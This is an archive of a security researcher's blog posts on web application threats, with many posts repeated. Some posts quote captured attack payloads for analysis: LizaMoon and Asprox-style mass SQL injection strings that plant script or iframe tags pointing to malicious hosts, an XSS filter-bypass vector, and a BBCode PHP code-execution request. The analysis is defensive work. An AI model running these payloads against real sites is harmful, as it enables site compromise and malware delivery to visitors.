While not trivial knowledge to all, application quality is also measured by its level of security. Lack of security testing procedures in software development life cycle can lead to insufficient quality, unneeded risks and potentially loss of business revenue and reputation.
Sunday, November 13, 2016
Yes, My Name is ||
Different cultures and nationalities have different naming conventions; I came from a one that led me to face the universe with a personal name "Or". In fact, my name has different meanings in different languages. In English the meaning of "Or" is function word that indicate alternatives and in computer coding languages the name "Or" is being used as Boolean operator that enable us to write conditions in our code.
So, Yes, I'm having hard time introducing my name to English speaking people, and yes, appending comment with my name in source code that I have written creates ambiguous meanings once being read by other coders!
But this time it has gone too far...
Read more about it in - https://blogs.akamai.com/2016/11/yes-my-name-is.html
Wednesday, August 31, 2016
How to Tell a Landscaper From a Thief
If I can see a person standing in front of a neighboring house inspecting the windows and the doors, should I call the police?
Maybe it is the air-condition technician looking for the best place to install a new air-condition unit, or maybe it is a robber doing reconnaissance and checking what is the easiest way to get into the house. It is hard to tell!
Now what if I can see a user sending requests to non-existing pages in my application?
Maybe these are broken links created mistakenly by that user, or maybe these are attack reconnaissance, pre-attack activity done by a malicious user. It is also hard to tell!
Continue reading on InfoSec Island - http://www.infosecisland.com/blogview/24626-How-to-Tell-a-Landscaper-From-a-Thief.html
Maybe it is the air-condition technician looking for the best place to install a new air-condition unit, or maybe it is a robber doing reconnaissance and checking what is the easiest way to get into the house. It is hard to tell!
Now what if I can see a user sending requests to non-existing pages in my application?
Maybe these are broken links created mistakenly by that user, or maybe these are attack reconnaissance, pre-attack activity done by a malicious user. It is also hard to tell!
Continue reading on InfoSec Island - http://www.infosecisland.com/blogview/24626-How-to-Tell-a-Landscaper-From-a-Thief.html
The Real Story Behind Cheating Stories? Blackhat SEO
Search Engine Optimization (SEO) campaigns are prevalent and legitimate ways to promote Web applications in order to get a better visibility and more traffic to your Web application. But what happens when an SEO campaign crosses the line into the dark side and becomes malicious?
Recently the Akamai Threat Research Team discovered a highly sophisticated SEO attack campaign that was promoting the search results rating for a Web application that allows users to share their cheating and infidelity stories.
The complexity of this attack campaign included defacement of hundreds of Web applications across the Internet by abusing vulnerable Windows Web servers and injecting HTML links – using an SQL injection technique. By injecting reference links between the defaced applications to the “cheating stories” application, the attackers tried to mimic normal distribution of content over the Web. Once the injected content is placed, the attacker counts on the scanning that search engines perform to determine what should be the best results for any given keywords. As a result, the rating of the “cheating stories” application will be calculated based on the quality and quantity of those links.
This article reveals the details and findings of the targeted SEO attack, including the end result: The “cheating stories” application being highly ranked by the leading search engines.
Read more in "the security ledger" - https://securityledger.com/2015/08/the-real-story-behind-cheating-stories-blackhat-seo/
Recently the Akamai Threat Research Team discovered a highly sophisticated SEO attack campaign that was promoting the search results rating for a Web application that allows users to share their cheating and infidelity stories.
The complexity of this attack campaign included defacement of hundreds of Web applications across the Internet by abusing vulnerable Windows Web servers and injecting HTML links – using an SQL injection technique. By injecting reference links between the defaced applications to the “cheating stories” application, the attackers tried to mimic normal distribution of content over the Web. Once the injected content is placed, the attacker counts on the scanning that search engines perform to determine what should be the best results for any given keywords. As a result, the rating of the “cheating stories” application will be calculated based on the quality and quantity of those links.
This article reveals the details and findings of the targeted SEO attack, including the end result: The “cheating stories” application being highly ranked by the leading search engines.
Read more in "the security ledger" - https://securityledger.com/2015/08/the-real-story-behind-cheating-stories-blackhat-seo/
Playing Hide and Seek In the Cloud
When we were young, we had fun playing hide and seek. As 5 year olds there were a limited number of places our friends could hide, and we could methodically check each one and then giggle when we found them. As we grew older, we expanded the boundaries of the game. Today, as security researchers, hide-and-seek is no longer so fun because the boundaries are nearly infinite. How do you find and evaluate the risk, for example, of one deadly SQL injection attempt across 200,000 daily attack events?”
Threat intelligence is the answer for that, by analyzing huge amount of data, it finds the malicious needle in the data haystack and provides actionable insights that will assist with mitigating the risk. One of the advantages of threat intelligence is that it facilitates security teams to move from the reactive approach, which is one step behind, to proactive approach, which is one step ahead. The proactive approach improves mitigation tactics against current threats and at the same time upgrades future mitigation strategies.
A key factor for proactive insights lay in the ability to have visibility to rich, diverse and continuous data; Therefore, it is only natural that cloud networks, such as content delivery networks (CDN), should utilize the rich, diverse and continuous data, streaming through their infrastructure into threat intelligence.
This article will show the unique power of threat intelligence utilizing cloud networks and present a case study that find and correlate those malicious needles into insightful and actionable intelligence.
Read more about it in "Infosec Island" - http://www.infosecisland.com/blogview/24680-Playing-Hide-and-Seek-In-the-Cloud.html
Threat intelligence is the answer for that, by analyzing huge amount of data, it finds the malicious needle in the data haystack and provides actionable insights that will assist with mitigating the risk. One of the advantages of threat intelligence is that it facilitates security teams to move from the reactive approach, which is one step behind, to proactive approach, which is one step ahead. The proactive approach improves mitigation tactics against current threats and at the same time upgrades future mitigation strategies.
A key factor for proactive insights lay in the ability to have visibility to rich, diverse and continuous data; Therefore, it is only natural that cloud networks, such as content delivery networks (CDN), should utilize the rich, diverse and continuous data, streaming through their infrastructure into threat intelligence.
This article will show the unique power of threat intelligence utilizing cloud networks and present a case study that find and correlate those malicious needles into insightful and actionable intelligence.
Read more about it in "Infosec Island" - http://www.infosecisland.com/blogview/24680-Playing-Hide-and-Seek-In-the-Cloud.html
Changing the Rules of the Game
A common defensive rule of information security is that once you detect an attack against your organization’s Web applications, you must mitigate the attack by stopping it. In other words: “stop it once you can”.
But what if the rules of the defenders vs. attackers “game” have changed and the teams are not playing in the same league anymore?
For example, here are some of the “game” changers from recent years:
In recent years we have seen an increased number of defenders changing the rules of the “game” and adopting new defensive techniques. Those techniques give the attacker a deceptive feeling that the attack was not detected, reducing the attack effectiveness to the point where it will take too much time and resources to be considered complete.
Maybe the common defensive approach is not good enough; maybe it is time for more defenders to step-up their game and introduce “game” changing rules?
Read more about it in "infosecurity-magazine" - http://www.infosecurity-magazine.com/opinions/changing-the-rules-of-the-game/
But what if the rules of the defenders vs. attackers “game” have changed and the teams are not playing in the same league anymore?
For example, here are some of the “game” changers from recent years:
- The playground (aka an attacker’s computing resources) became ridiculously cheap to hire (if not available for free)
- The players of team “black” (also known as attackers) became more persistent, targeted and ruthless
- The players of team “white” (also known as defenders) became overwhelmed by endless amounts of security incidents and are constantly one step behind the attackers
In recent years we have seen an increased number of defenders changing the rules of the “game” and adopting new defensive techniques. Those techniques give the attacker a deceptive feeling that the attack was not detected, reducing the attack effectiveness to the point where it will take too much time and resources to be considered complete.
Maybe the common defensive approach is not good enough; maybe it is time for more defenders to step-up their game and introduce “game” changing rules?
Read more about it in "infosecurity-magazine" - http://www.infosecurity-magazine.com/opinions/changing-the-rules-of-the-game/
Fighting Account Takeovers with Cloud Intelligence
One of the most important and yet challenging aspects of defending web applications is the ability to prevent account takeover attacks.
Once taken over, the potential damage can include losing access and control over the account, data breach and even fraudulent transactions. So why is account takeover prevention is so challenging? A recent article discussing the massive data breach of Alibaba Group’s website Taobao, a Chinese e-commerce website for online shopping, may offer a potential answer:
“Taobao, China's largest online marketplace that operates in a similar fashion to eBay and Amazon, has been hit with an attempted cyber-attack as hackers successfully compromised more than 20 million user accounts linked with the service. The hackers, who have already managed to amass a vast database of 99 million usernames and passwords from a number of Chinese websites unrelated to Taobao, eventually discovered that a significant amount of the data matched active user accounts on the popular ecommerce website.”
Using the Taobao data breach as an example, it is clear how hackers continue to breach secure web applications. Visitors to highly-secured web applications create login credentials and then recycle those credentials to access another potentially vulnerable web application. Once hackers breach the vulnerable web application, they have a free pass to the user’s account on the fortified web application.
Here comes the challenging part, even a fortified web application has no control over such a scenario, and many of their security authentication mechanisms are now useless in these cases. Despite the bad security practices of web application users, it ultimately remains the responsibility of the application to fortify its defenses and protect sensitive user data.
Read more about it in http://www.infosecurity-magazine.com/blogs/fighting-account-takeovers-cloud/
Once taken over, the potential damage can include losing access and control over the account, data breach and even fraudulent transactions. So why is account takeover prevention is so challenging? A recent article discussing the massive data breach of Alibaba Group’s website Taobao, a Chinese e-commerce website for online shopping, may offer a potential answer:
“Taobao, China's largest online marketplace that operates in a similar fashion to eBay and Amazon, has been hit with an attempted cyber-attack as hackers successfully compromised more than 20 million user accounts linked with the service. The hackers, who have already managed to amass a vast database of 99 million usernames and passwords from a number of Chinese websites unrelated to Taobao, eventually discovered that a significant amount of the data matched active user accounts on the popular ecommerce website.”
Using the Taobao data breach as an example, it is clear how hackers continue to breach secure web applications. Visitors to highly-secured web applications create login credentials and then recycle those credentials to access another potentially vulnerable web application. Once hackers breach the vulnerable web application, they have a free pass to the user’s account on the fortified web application.
Here comes the challenging part, even a fortified web application has no control over such a scenario, and many of their security authentication mechanisms are now useless in these cases. Despite the bad security practices of web application users, it ultimately remains the responsibility of the application to fortify its defenses and protect sensitive user data.
Read more about it in http://www.infosecurity-magazine.com/blogs/fighting-account-takeovers-cloud/
A Year Later, Clearly “Blackhat SEO” is still Working
A year ago Akamai’s Threat Research Team exposed a “Blackhat Search Engine Optimization (SEO)” attack campaign. The goal of the campaign was to manipulate search engines rankings and grow visibility for a web site that allows users to share their cheating and infidelity stories.
The attack method used SQL injection to inject HTML links to as many web sites as possible across the Internet. By doing so, the attackers created a nest of links referring to the promoted Web site. The expected result? The injected links would eventually lead to growth in the site’s ranking, driving traffic, and increasing awareness in search engines.
The success of SEO ranking manipulation is a product of time and referral links. In order to determine whether such “blackhat SEO” manipulation was successful, we measured the promoted web site ranking in the past year to see whether the Blackhat SEO “worked.”
Read more about it in the following blog - https://securityledger.com/2016/08/a-year-later-clearly-blackhat-seo-is-still-working/
The attack method used SQL injection to inject HTML links to as many web sites as possible across the Internet. By doing so, the attackers created a nest of links referring to the promoted Web site. The expected result? The injected links would eventually lead to growth in the site’s ranking, driving traffic, and increasing awareness in search engines.
The success of SEO ranking manipulation is a product of time and referral links. In order to determine whether such “blackhat SEO” manipulation was successful, we measured the promoted web site ranking in the past year to see whether the Blackhat SEO “worked.”
Read more about it in the following blog - https://securityledger.com/2016/08/a-year-later-clearly-blackhat-seo-is-still-working/
Friday, September 5, 2014
Big Data & Web Application Security
Earlier this year I published an article that show how the analysis of large-scale, global multi-site traffic may reveal interesting trends and malicious behavior patterns, and as a result can help improve protections against the next round of attacks.
Using the Big Data analysis can help with getting new security insights that can not be seen otherwise.
To read more about the analysis - Analyzing a Malicious Botnet Attack Campaign Through the Security Big Data Prism
Using the Big Data analysis can help with getting new security insights that can not be seen otherwise.
To read more about the analysis - Analyzing a Malicious Botnet Attack Campaign Through the Security Big Data Prism
Monday, August 18, 2014
How Open Redirects Vulnerabilities Can be Used for SEO Attacks
In a research that was recently published I'm describing how Open Redirect can be used in order to perform SEO attacks.
The open redirect vulnerability attack is a significant problem for web security that is not getting the attention it deserves. Although it appears as the last entry in the Top 10 2013 document of the Open Web Application Security Project (OWASP), its potential impact and its use by malicious actors is underestimated.
https://securityledger.com/2014/08/popular-web-sites-still-getting-gamed-in-seo-attacks/
The open redirect vulnerability attack is a significant problem for web security that is not getting the attention it deserves. Although it appears as the last entry in the Top 10 2013 document of the Open Web Application Security Project (OWASP), its potential impact and its use by malicious actors is underestimated.
https://securityledger.com/2014/08/popular-web-sites-still-getting-gamed-in-seo-attacks/
Wednesday, April 3, 2013
If You Can’t See the Mess Then There is No Mess!?
For
those who know me well, it is not a secret, that I am a little disorganized.
Not with extreme level but as I call it: “I have my own (messy) way to organize
my stuff”. Things get complicated when my wife gets into the picture, well… she
is very organized and not always appreciate my special organization techniques.
One of my techniques includes the philosophy of “if you can’t see the mess then
there is no mess”, the problem with such an approach is that over time it tends
to fail, the mess tends to be revealed
sooner or later and results with me getting the hit (gracefully).
At this point a cheap gesture is essential so…
This
leads me to some web application security examples I got across lately.
In
the first example, I noticed a Cross-Site Scripting vulnerability that was
badly patched (see more details below), while mitigation clearly solves
injection for some XSS attack payloads, other attack payloads are still
exploitable leaving the vulnerability not fully mitigated.
On
an entirely different case, I was able to see an HTTP parameter that looks like
it contains encoded value, when looking into that HTTP parameter I could see
that it was double hidden with the same easy-to-decode encoding technique
(encoded twice). In other words, 2 blanks full of holes were used to cover a
Cross-Site Scripting vulnerability in this parameter assuming that way no one
will find it.
While
my personal “organization” techniques can (in some cases) be accepted in
forgiveness, uncompleted patching of security vulnerabilities or the usage of
obfuscation techniques is an unnecessary risk that may result with real damage
to application’s users and application
administrator.
At this point a cheap gesture is essential so…
XSS
example
When
trying to inject several attack vectors (for example:
<script>alert(1)</script>) the request is being blocked, but when
trying to send attack vector that looks like <img src= onmouseover="alert(1)"> the request is not being blocked. From my experience
in many cases this kind of mistakes are done when the process of mitigation
vulnerabilities is performed in a limited time frame when the goal of passing the
security audit.
Base64
example
When
looking into that HTTP parameter I could see that it was double encoded in
base64 and as you know based64 encoding can be easily decoded. When sending XSS
attack vector double encoded in that parameter I can see that it is vulnerable
to XSS. As far as I understand, the mitigation was done that way since
application developer wanted to avoid detection of the vulnerability in his
code, therefore he used a security by obscurity approach.
While one level of encoding vulnerability can be found easily by almost any given web application scanner, double encoding requires special configuration to scanner and therefore most likely won’t be found.
While one level of encoding vulnerability can be found easily by almost any given web application scanner, double encoding requires special configuration to scanner and therefore most likely won’t be found.
Labels:
Base64,
Cross Site Scripting,
mitigation,
security,
vulnerability,
XSS
Monday, December 24, 2012
When My Coffee Machine Started Asking Me For a Password
Well, I never thought I will live to see the day when a domestic coffee machine asks me for a password; I just wanted an espresso, not something fancy like an espresso with steamed milk flavored with caramel Brulée sauce, topped with sweetened whipped cream and caramel Brulée topping…
This domestic dispute between me and my coffee machine makes me wonder about the fine line between securities as disablers vs. securities as enablers.
This line is vague and while information security’s goal is to mitigate threats and risks and as a result- in some cases apply controls, users want “easy to use” functionality without any unnecessary hindrance. Unsatisfied users can abandon service (or switch to tea in my case) and in some cases even pose greater risk by trying to bypass controls.
Don’t get me wrong, off course users also want to feel secure, but in most cases in commercial and business driven services, functionality is more important than security.
In many cases, the balance between security and usability will be in the place where we will get the best security risk mitigation while preserving user’s satisfaction; and when those objectives don’t meet, we may close the gap by other means such as educating users to security awareness.
An example for that can be found when designing authentication mechanism for an application, let’s say web mail, from security point of view we would like to have 3 factors authentication in order to make sure it will be very hard to brute force to the web mail user’s accounts and read their mails. But in most cases we will use one or two factors authentication, taking under consideration users requirements for quick login process.
When the security requirements in the web mail example is to harden security and reduce risks, filling the gap can be done by educating/leading the users to change their password from time to time and cleaning web browser cache when connecting via public desktop etc.
Finding the point of balance that will determine what kind of security control to implement is a tricky job that should consider several variables such as: security risk, threat level, tolerance to usability limitation/obstacles and financial impact of security controls over the business. The process of getting this balance should be fluid and open to changes that are subject of changes in security requirements and usability obstacles.
In my case I brute forced the machine (well I’m a breaker in nature) so don’t tell anybody that the password is “CaffeeLatte” :)
Labels:
brute force,
password,
risk,
security,
security controls
Wednesday, July 25, 2012
Whats Up With This App?
I had a discussion with a colleague of mine about Facebook
privacy issues, his point in the discussion was that he has no secrets and the
information that he publishes on Facebook is something he is willing to
share even with the risk of this information being out there… I think that this
way of thinking is common to many of the internet users, they think positive
(don’t we all). I on the other end know some of the internet
mysteries and as a result think of the worst thing that can happen.
In order to make my point, I asked this colleague “and what about your
phone number, do you mind sharing your phone number with the rest of the
world?” at that point I could see that I made him think.
Well the point here is that some of the information that we
consider confidential is out their without our knowledge, take for example a
very popular mobile application named WhatsApp. Each time you start
working with the application your phone number is being sent in plain-text
(this information is not new it was reported more than a year ago) and since
using wifi networks in order to avoid using SMS messages is what this
application is all about, anyone that sniffs the wifi network I’m
using can see my phone number!
Think of the following scenario, I’m at the airport using
WhatsApp over the airport public wifi network, someone sniffs this
traffic, sees my phone number, calls me and presents himself
as the taxi driver that was sent to pick me up, well you can imagine
where this story can end…
While mobile apps bring a lot of technological
improvements to our life, answer some of our needs and may save us money. it may also bring risk to our privacy that
can lead to the situation where all our personal information can be misused in so many ways. The mobile apps industry is in its early
days and therefore security awareness is not the main concern for those who develop
those apps. Therefore it is our obligation
as end users to be cautious and aware of the risks out there.
Tuesday, April 5, 2011
SQL injection LizaMoon
I might be naïve but each time I analyze mass SQL injection incident I can’t stop thinking on the fact that this type of vulnerability is living with us for more than 10 years!
And yet again in the last few days we can see a lot of information on a new automated SQL injection attack called LizaMoon effecting over 1,500,000 pages all around the world. The interesting thing about this attack is that the attack scenario consists of several steps:
SQL query that retrieves tables’ and fields names
11011+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+where+TABLE_NAME+not+in+(SELECT+TOP+0+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES))--
SQL update query that injects Javascript to database
Id = 1’+ update + tb + set + Descripcion = REPLACE (cast (Descripcion + as + varchar (8000)), cast (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105 ) .... </ title> <script src=httq:// lazemxxn .com / ur. php> </ script> ...% 2Bchar (116)% 2Bchar (62) + as + varchar (8000)), cast (char (32) + as + varchar (8 )))--
Id = 1 '+ update + tblMembers + set + Forename = REPLACE (cast (Forename + as + varchar ( 8000)), cast (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105) .... </ title> <script src = httq: / / lazemxxn. com / ur. php> </ script> ...% 2Bchar (116)% 2Bchar (62) + as + varchar (8000)), cast (char (32) + as + varchar (8)) ) --
As you can see it is a very sophisticated and complex attack _just_ to still users’ credit cards numbers.
Going back to the beginning of this post, since SQL injection was first introduced, application security was fortified by IDS/IPS, application security awareness (OWASP), security scanners, static code analysis and web application firewall, and still this attack is alive and kicking.
More information can be found in the following links below.
An interesting video presented by Websense:
Detailed attack scenario:
http://community.websense.com/blogs/securitylabs/archive/2011/03/31/update-on-lizamoon-mass-injection.aspx
And yet again in the last few days we can see a lot of information on a new automated SQL injection attack called LizaMoon effecting over 1,500,000 pages all around the world. The interesting thing about this attack is that the attack scenario consists of several steps:
- Automated mass SQL injection attack that tries to inject Javascript code (The Javascript source code is located on a remote application) to as many pages as possible in the application, using the following payloads:
SQL query that retrieves tables’ and fields names
11011+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+where+TABLE_NAME+not+in+(SELECT+TOP+0+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES))--
SQL update query that injects Javascript to database
Id = 1’+ update + tb + set + Descripcion = REPLACE (cast (Descripcion + as + varchar (8000)), cast (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105 ) .... </ title> <script src=httq:// lazemxxn .com / ur. php> </ script> ...% 2Bchar (116)% 2Bchar (62) + as + varchar (8000)), cast (char (32) + as + varchar (8 )))--
Id = 1 '+ update + tblMembers + set + Forename = REPLACE (cast (Forename + as + varchar ( 8000)), cast (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105) .... </ title> <script src = httq: / / lazemxxn. com / ur. php> </ script> ...% 2Bchar (116)% 2Bchar (62) + as + varchar (8000)), cast (char (32) + as + varchar (8)) ) --
- The injected Javascript redirect the user to malicious application which pretends to scan client computer for viruses and finds some bad malwares on his computer – of course, it is all just a big scam.
- At this point, the user is being asked to download the (fake) anti-virus software named “Windows Stability Center”.
- After running the (fake) anti-virus software, the program UI displays warning saying a lot of problems were discovered on the PC and the user is being asked to buy full version of the “Windows stability center” product, asking him to send his credentials, including credit card and CVV number.
As you can see it is a very sophisticated and complex attack _just_ to still users’ credit cards numbers.
Going back to the beginning of this post, since SQL injection was first introduced, application security was fortified by IDS/IPS, application security awareness (OWASP), security scanners, static code analysis and web application firewall, and still this attack is alive and kicking.
More information can be found in the following links below.
An interesting video presented by Websense:
Detailed attack scenario:
http://community.websense.com/blogs/securitylabs/archive/2011/03/31/update-on-lizamoon-mass-injection.aspx
Wednesday, December 15, 2010
Web Application Security: Real-Life Emerging Threats
In recent weeks, there have been a couple of incidents that caught my attention and had something in common. It started with the ASP.NET POET vulnerability, allowing the attacker to decrypt cipher text by examining server error code. The attack method involved sending many requests to the web server. The second incident was the DDoS attack by WikiLeaks supporters, against a list of web sites including Mastercard, Visa and Paypal.
While at first sight it looks like there’s nothing in common between these incidents, looking at it from a defensive point of view, both incidents indicate a change in the way the web site was being used - in other words a behavioral change.
In order to have a generic way to defend the web site, one should follow these steps:
These incidents emphasize the need for web application security products that have more than just signature-based capabilities; having the ability to detect behavioral changes in the web application is essential for emerging threats.
While at first sight it looks like there’s nothing in common between these incidents, looking at it from a defensive point of view, both incidents indicate a change in the way the web site was being used - in other words a behavioral change.
In order to have a generic way to defend the web site, one should follow these steps:
- Learn what the “normal” traffic rate is coming from web site users.
- Detect any change in the way users are accessing the web site.
These incidents emphasize the need for web application security products that have more than just signature-based capabilities; having the ability to detect behavioral changes in the web application is essential for emerging threats.
Monday, October 18, 2010
BBCode Remote PHP Code Execution Vulnerability
While analyzing suspicious web application traffic, I came across this request payload:
Looking more closely at the payload, I saw that while it looks like PHP code injection (the use of “echo”, “php_unmae” and “die()” are good indications of that), this code injection doesn’t start with the expected PHP declaration “a vulnerability in the BBCode, discovered in the e107 content management system application. This vulnerability allow a malicious user to execute arbitrary and malicious PHP code in the context of the web server process.
What does BBCode stand for?
No, it’s got nothing to do with BBC – the British Broadcasting Corporation. Bulletin Board Code or BBCode is a lightweight markup language used to format posts in many message boards. The available tags are usually indicated by square brackets surrounding a keyword, and they are parsed by the message board system before being translated into a markup language that web browsers understand—usually HTML or XHTML.
Food for thought
Always looking for ways to protect web applications from being abused by content injection attacks (e.g. - comment spamming, stored XSS or HTML injection), this leads me to the conclusion that web application security filters should also be aware of other (non HTML) markup languages and be able to protect the application from being vulnerable to such attacks.
POST /home.php/contact.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: my.calstateteach.net
User-Agent: MaMa CaSpEr
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
send-contactus=1&author_name=[php]echo('casper'.php_uname().'kae');die();[/php]
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: my.calstateteach.net
User-Agent: MaMa CaSpEr
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
send-contactus=1&author_name=[php]echo('casper'.php_uname().'kae');die();[/php]
Looking more closely at the payload, I saw that while it looks like PHP code injection (the use of “echo”, “php_unmae” and “die()” are good indications of that), this code injection doesn’t start with the expected PHP declaration “a vulnerability in the BBCode, discovered in the e107 content management system application. This vulnerability allow a malicious user to execute arbitrary and malicious PHP code in the context of the web server process.
What does BBCode stand for?
No, it’s got nothing to do with BBC – the British Broadcasting Corporation. Bulletin Board Code or BBCode is a lightweight markup language used to format posts in many message boards. The available tags are usually indicated by square brackets surrounding a keyword, and they are parsed by the message board system before being translated into a markup language that web browsers understand—usually HTML or XHTML.
Food for thought
Always looking for ways to protect web applications from being abused by content injection attacks (e.g. - comment spamming, stored XSS or HTML injection), this leads me to the conclusion that web application security filters should also be aware of other (non HTML) markup languages and be able to protect the application from being vulnerable to such attacks.
Tuesday, September 28, 2010
ASP.NET Security Vulnerability
Summary
On 18/09/2010 a Microsoft Security Advisory was released about a security vulnerability in ASP.NET. This vulnerability exists in all versions of ASP.NET and the recommendation was made that customers immediately apply a workaround to prevent attackers from using this vulnerability against ASP.NET applications.
Impact
An attacker using this vulnerability can request and download files forming part of an ASP.NET application, such as the web.config file, which may contain sensitive data. He can also decrypt data sent to the client in an encrypted state (for example ViewState hidden data in application replies).
Vulnerability Details
To understand how this vulnerability works, you need to know a little about cryptographic oracles. An oracle in the context of cryptography is a system which provides hints as you ask it questions. In this case, there is a vulnerability in the ASP.NET component which acts as a padding oracle. It allows an attacker to send cipher text to the web server and learn if it was decrypted properly, by examining which error code was returned by the web server. By making many such requests and watching what errors are returned, the attacker can learn enough to successfully decrypt the rest of the cipher text.
Attack Properties
In practice, this exploit would cause the web server to generate thousands of HTTP 500 and 404 error responses (or more) to requests from the malicious client. This means the attacker needs to send many requests to the application in order to exploit the vulnerability.
Mitigation
Microsoft is planning to release a patch to resolve the problem, but what can be done in the meantime?
For now, security filter assistance can provide a quick and effective solution to the problem. The security filter needs to have combined abilities as follows:
On 18/09/2010 a Microsoft Security Advisory was released about a security vulnerability in ASP.NET. This vulnerability exists in all versions of ASP.NET and the recommendation was made that customers immediately apply a workaround to prevent attackers from using this vulnerability against ASP.NET applications.
Impact
An attacker using this vulnerability can request and download files forming part of an ASP.NET application, such as the web.config file, which may contain sensitive data. He can also decrypt data sent to the client in an encrypted state (for example ViewState hidden data in application replies).
Vulnerability Details
To understand how this vulnerability works, you need to know a little about cryptographic oracles. An oracle in the context of cryptography is a system which provides hints as you ask it questions. In this case, there is a vulnerability in the ASP.NET component which acts as a padding oracle. It allows an attacker to send cipher text to the web server and learn if it was decrypted properly, by examining which error code was returned by the web server. By making many such requests and watching what errors are returned, the attacker can learn enough to successfully decrypt the rest of the cipher text.
Attack Properties
In practice, this exploit would cause the web server to generate thousands of HTTP 500 and 404 error responses (or more) to requests from the malicious client. This means the attacker needs to send many requests to the application in order to exploit the vulnerability.
Mitigation
Microsoft is planning to release a patch to resolve the problem, but what can be done in the meantime?
For now, security filter assistance can provide a quick and effective solution to the problem. The security filter needs to have combined abilities as follows:
- To detect abnormal access rate to URLs in the application.
- To inspect application outbound replies and detect error messages.
- To track session base access rate (assuming the attacker will be using a DDoS approach to perform his attack, using different source IPs).
Sunday, September 12, 2010
Signatures Are Not Enough
It’s a well known fact that many security filters, on both client and server, use pattern matching techniques in order to detect malicious attack payloads. For example, if you are trying to protect your application from SQL injection attacks, you will probably need to detect the pattern “union…select…from”, which is a good indication of a possible SQL injection attack payload.
Unvalidated Redirects and Forwards
While pattern matching is affective in many cases, I meet more and more cases where it’s not enough. We can see further evidence of that in the latest OWASP Top 10 2010, in which a new item - A10 was added - “Unvalidated Redirects and Forwards”.
A redirect facility is a function of the application that transfers users to different pages within or outside the application. For example, take a look at the following request to the application:
The request is valid and we can see that the parameter “to” is used by the application as a redirect destination to a valid location in the application. Below we see how the same parameter is used by an attacker to redirect the user to a malicious application (which may be used for a phishing attack).
Using the negative security approach in this case is not simple and may be not effective because allowed values are known, while disallowed values are endless; therefore a new approach is required.
In a recent presentation at the Israel OWASP annual chapter meeting, I presented the shortcomings and several alternative solutions to the practice of depending solely on signatures to detect malicious attacks.
Unvalidated Redirects and Forwards
While pattern matching is affective in many cases, I meet more and more cases where it’s not enough. We can see further evidence of that in the latest OWASP Top 10 2010, in which a new item - A10 was added - “Unvalidated Redirects and Forwards”.
A redirect facility is a function of the application that transfers users to different pages within or outside the application. For example, take a look at the following request to the application:
GET /site/redirect.php?to=http://site/target.html HTTP/1.1
The request is valid and we can see that the parameter “to” is used by the application as a redirect destination to a valid location in the application. Below we see how the same parameter is used by an attacker to redirect the user to a malicious application (which may be used for a phishing attack).
GET /site/redirect.php?to=http://malicious_site.com/hacker.html HTTP/1.1
Using the negative security approach in this case is not simple and may be not effective because allowed values are known, while disallowed values are endless; therefore a new approach is required.
In a recent presentation at the Israel OWASP annual chapter meeting, I presented the shortcomings and several alternative solutions to the practice of depending solely on signatures to detect malicious attacks.
Monday, August 23, 2010
Distributed SQL Injection Attack
I recently came across some suspicious web app traffic that caught my eye; even though attack characteristics are generally well known, we can still learn a lot from analyzing malicious traffic. Things, for example, like:
Traffic forensics:
More detailed information on the observed malicious traffic:
Summary:
Items 1 to 4 give us good indication that this attack should be considered as distributed SQL injection, probably being executed by BotNet.
Items 5 and 6 show that the attack initiator knew there might be web application filters on the way to the web app, and was trying to evade attack detection by those security filters.
The same attack pattern was used by a botnet named Asprox in 2008, using a similar SQL statement, but with different infected HTML data.
Attacks are clearly becoming more and more sophisticated, aided by the internet’s unlimited resources to improve attack robustness. They are making it harder to be blocked based only on the source of the attack, and are making it more difficult to be detected without advanced payload processing capabilities (in other words, they are likely to evade security measures that do not have the capability of double decoding).
Technical explanation:
Step 1 – First Decoding
Taking the attack payload and performing first decoding (ASCII hex. I also omitted the first cast function) will give us the following payload:
declare @s varchar(4000);set @s=DECLaRe @T varchAr(255),@C vArCHaR(255) DeClaRE tABLE_cURsOR cURSor FoR selEct A.NaMe,B.NAME FrOm sYsoBjECTs a,sysCOLuMNs b wHerE a.Id=b.id and a.xType='u' and (B.XTyPE=99 or b.xtyPE=35 oR B.XtyPe=231 Or b.xtype=167) Open TABle_cuRsOR FetCH nEXT frOM TaBle_cURsOR inTO @T,@c wHiLe(@@FEtCH_sTatUs=0) BEGin exeC('UPDATE ['+@T+'] Set ['+@C+']=RtRim(ConVeRT(vArcHar(4000),['+@C+']))+CAST(0X3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E as VarcHAR(106))') feTCh neXt FrOm taBLe_CursOR iNTO @T,@C eNd close tABLe_cursOR dEaLlOCaTE tAblE_cursoR as varchar(4000));exec(@s);--
Step 2 – Second Decoding
More decoding is required here and this is how it looks after a second ASCII hex decoding (omitting the second cast function from the payload):
declare @s varchar(4000);set @s=DECLaRe @T varchAr(255),@C vArCHaR(255) DeClaRE tABLE_cURsOR cURSor FoR selEct A.NaMe,B.NAME FrOm sYsoBjECTs a,sysCOLuMNs b wHerE a.Id=b.id and a.xType='u' and (B.XTyPE=99 or b.xtyPE=35 oR B.XtyPe=231 Or b.xtype=167) Open TABle_cuRsOR FetCH nEXT frOM TaBle_cURsOR inTO @T,@c wHiLe(@@FEtCH_sTatUs=0) BEGin exeC('UPDATE ['+@T+'] Set ['+@C+']=RtRim(ConVeRT(vArcHar(4000),['+@C+']))+ <iframe height="0" src="http://xxxx.ru/tds/go.php?sid=1" style="display: none;" width="0"></iframe>as VarcHAR(106))') feTCh neXt FrOm taBLe_CursOR iNTO @T,@C eNd close tABLe_cursOR dEaLlOCaTE tAblE_cursoR as varchar(4000));exec(@s);--
Now we have the fully decoded payload and we can see that the attack target is SQL servers (using SQL Server system tables).
Step 3 - Executed SQL Statement Analysis
The SQL statement executes the following logic:
